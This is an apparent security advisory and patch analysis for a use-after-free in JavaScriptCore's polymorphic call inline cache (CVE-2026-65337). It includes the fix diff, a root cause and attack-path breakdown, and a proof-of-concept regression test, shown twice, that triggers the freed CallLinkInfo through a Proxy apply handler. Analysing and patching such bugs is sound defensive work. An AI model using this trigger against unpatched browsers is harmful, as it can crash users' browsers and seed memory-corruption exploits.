Released August 17, 2026

CVE-2026-65337

CVSS 4.3 severity medium CWE-20CWE-703 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected Safari crash

Researchers: OpenAI Codex Security - Amy Burnett

Key insight. A polymorphic call was linked using *callLinkInfo even after virtualForWithFunction made a host call that ran JS and could free it; only linking when the callee cell is non-null (and setting it for InternalFunction) closes the UAF.

Patch Details

diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+    return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+    getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+    apply: function(target, thisArg, args) {
+        delete proto.p;
+        return 0x42;
+    }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);
diff --git a/Source/JavaScriptCore/bytecode/RepatchInlines.h b/Source/JavaScriptCore/bytecode/RepatchInlines.h
index d48999e0fe74..71d3708ba599 100644
--- a/Source/JavaScriptCore/bytecode/RepatchInlines.h
+++ b/Source/JavaScriptCore/bytecode/RepatchInlines.h
@@ -237,7 +237,8 @@ ALWAYS_INLINE void* virtualForWithFunction(VM& vm, JSCell* owner, CallFrame* cal
     JSValue calleeAsValue = calleeFrame->guaranteedJSValueCallee();
     calleeAsFunctionCell = getJSFunction(calleeAsValue);
     if (!calleeAsFunctionCell) [[unlikely]] {
-        if (is<InternalFunction>(calleeAsValue)) {
+        if (auto* internalFunction = dynamicDowncast<InternalFunction>(calleeAsValue)) {
+            calleeAsFunctionCell = internalFunction;
             CodePtr<JSEntryPtrTag> codePtr = vm.getCTIInternalFunctionTrampolineFor(kind);
             ASSERT(!!codePtr);
             return codePtr.taggedPtr();
diff --git a/Source/JavaScriptCore/jit/JITOperations.cpp b/Source/JavaScriptCore/jit/JITOperations.cpp
index 2f2475fded76..094443ecfe81 100644
--- a/Source/JavaScriptCore/jit/JITOperations.cpp
+++ b/Source/JavaScriptCore/jit/JITOperations.cpp
@@ -2526,7 +2526,9 @@ JSC_DEFINE_JIT_OPERATION(operationPolymorphicCall, UCPURegister, (CallFrame* cal
     void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
     if (scope.exception()) [[unlikely]]
         OPERATION_RETURN(scope, std::bit_cast<UCPURegister>(vm.getCTIStub(CommonJITThunkID::ThrowExceptionFromCall).template retagged<JSEntryPtrTag>().code().taggedPtr()));
-    linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+    // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+    if (calleeAsFunctionCell) [[likely]]
+        linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
     // Keep owner alive explicitly. Now this function can be called from tail-call. This means that CallFrame for that owner already goes away, so we should keep it alive if we would like to use it.
     ensureStillAliveHere(owner);
     if (scope.exception()) [[unlikely]]
diff --git a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
index fd806e5d0835..b135cac3302f 100644
--- a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
+++ b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
@@ -653,7 +653,9 @@ extern "C" UGPRPair SYSV_ABI llint_polymorphic_call(CallFrame* calleeFrame, Call
     void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
     if (scope.exception()) [[unlikely]]
         return encodeResult(callTarget, std::bit_cast<void*>(&vm));
-    linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+    // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+    if (calleeAsFunctionCell) [[likely]]
+        linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
     ensureStillAliveHere(owner);
     if (scope.exception()) [[unlikely]]
         return encodeResult(callTarget, std::bit_cast<void*>(&vm));

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-65337
Bugzilla 317142
Component JSC
Bug Class UAF
Severity medium
Commit 7920db18a51b134b…
Advisory Apple Advisory

Terminology

  • Polymorphic call inline cache — A CallLinkInfo-backed cache for call sites that see multiple callees; linkPolymorphicCall updates it.
  • virtualForWithFunction / host call — Resolves a callee; for a host InternalFunction it may perform a call that runs JS, which can reset/free the inline cache.
  • CallLinkInfo lifetime — Compiled call-site metadata that JS run during resolution can invalidate/free, making later use a UAF.

Root Cause Analysis

This fixes a use-after-free of a CallLinkInfo when a polymorphic call resolves to a host (InternalFunction) callee that runs JavaScript. operationPolymorphicCall (JIT) and llint_polymorphic_call (LLInt) call virtualForWithFunction to resolve the callee, then link the polymorphic inline cache: linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell)). For a host InternalFunction callee, virtualForWithFunction performs a host call that can execute arbitrary JavaScript; that JS can reset/free the inline cache, invalidating *callLinkInfo. Pre-patch, virtualForWithFunction returned with calleeAsFunctionCell left null for the InternalFunction case, and the callers unconditionally called linkPolymorphicCall using the now-possibly-freed *callLinkInfo — a use-after-free. The fix has two parts: virtualForWithFunction now sets calleeAsFunctionCell = internalFunction for the InternalFunction path (dynamicDowncast<InternalFunction>), and both callers only call linkPolymorphicCall when calleeAsFunctionCell is non-null, with the comment that a null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo, so it must not link. The restored invariant is that the polymorphic call is only linked when the CallLinkInfo is still valid — never after a host call that could have freed it. The regression test installs a Proxy whose apply handler deletes the getter (resetting the IC) during a polymorphic getter call.

Attack Path

1. Build a polymorphic call site

Run JS so a call/getter site becomes polymorphic and uses operationPolymorphicCall / llint_polymorphic_call with a CallLinkInfo.

2. Route to a host callee

Make the callee a host InternalFunction (e.g. a Proxy apply) so virtualForWithFunction performs a host call that runs JS.

3. Free the CallLinkInfo

From that JS (the Proxy apply handler), delete the property/reset the inline cache so *callLinkInfo is freed.

4. Use-after-free

The caller links the polymorphic call using the freed CallLinkInfo, corrupting/crashing the WebContent process.

Impact Assessment

A use-after-free in the WebContent process reachable from ordinary polymorphic calls that reach a host callee running attacker JS. Freeing and reusing the CallLinkInfo under attacker control is a groomable primitive; the advisory rates it a crash, but JSC inline-cache UAFs commonly escalate toward memory corruption and code execution.

Audit Directions

Post-host-call IC use

Audit operationPolymorphicCall/virtual call slow paths for uses of *callLinkInfo (or other IC state) after a step that can run JS and reset the cache.

Null-cell contract

Grep virtualForWithFunction callers to confirm they treat a null calleeAsFunctionCell as ‘do not link’, not as a benign case.

Changed Functions

Function File Change Note
operationPolymorphicCall Source/JavaScriptCore/jit/JITOperations.cpp modified Only calls linkPolymorphicCall when calleeAsFunctionCell is non-null, since a null cell means virtualForWithFunction ran a host call that may have freed *callLinkInfo.
llint_polymorphic_call Source/JavaScriptCore/llint/LLIntSlowPaths.cpp modified Same guard: skip linkPolymorphicCall on a null callee cell to avoid using a freed CallLinkInfo.
virtualForWithFunction Source/JavaScriptCore/bytecode/RepatchInlines.h modified Sets calleeAsFunctionCell to the InternalFunction (dynamicDowncast) so the callers can distinguish the host-call path that may have freed the CallLinkInfo.

Files Changed

Source Files

  • Source/JavaScriptCore/bytecode/RepatchInlines.h
  • Source/JavaScriptCore/jit/JITOperations.cpp
  • Source/JavaScriptCore/llint/LLIntSlowPaths.cpp

Test Files

  • JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+    return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+    getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+    apply: function(target, thisArg, args) {
+        delete proto.p;
+        return 0x42;
+    }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);